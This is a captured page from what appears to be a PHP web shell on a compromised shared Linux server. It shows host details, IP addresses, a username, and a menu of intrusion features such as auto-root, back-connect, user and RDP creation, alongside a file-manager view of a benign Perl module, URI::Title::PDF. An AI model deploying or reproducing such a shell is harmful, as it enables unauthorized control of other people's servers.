Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
URI /
Title /
[ HOME SHELL ]
Name
Size
Permission
Action
HTML.pm
2.64
KB
-rw-r--r--
Image.pm
597
B
-rw-r--r--
MP3.pm
1.21
KB
-rw-r--r--
PDF.pm
1.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PDF.pm
package URI::Title::PDF; $URI::Title::PDF::VERSION = '1.902'; use warnings; use strict; sub types {( 'application/pdf', )} sub title { my ($class, $url, $data, $type) = @_; my %fields = (); my $content = URI::Title::_get_end($url) or return; foreach my $i (qw(Producer Creator CreationDate Author Title Subject)) { my @parts = $content =~ m#/$i \((.*?)\)#mgs; $fields{$i} = $parts[-1]; # grab the last one, hopefully right } my $title = ""; my @parts = (); if ($fields{Title}) { push @parts, "$fields{Title}"; if ($fields{Author}) { push @parts, "by $fields{Author}"; } if ($fields{Subject}) { push @parts, "($fields{Subject})"; } } if ($fields{Creator} and $fields{Creator} ne 'Not Available') { push @parts, "creator: $fields{Creator}"; } if ($fields{Producer} and $fields{Producer} ne 'Not Available') { push @parts, "produced: $fields{Producer}"; } $title = join(' ', @parts); return $title; } 1; __END__ =for Pod::Coverage::TrustPod types title =head1 NAME URI::Title::PDF - get titles of PDF files =head1 VERSION version 1.902 =cut
Close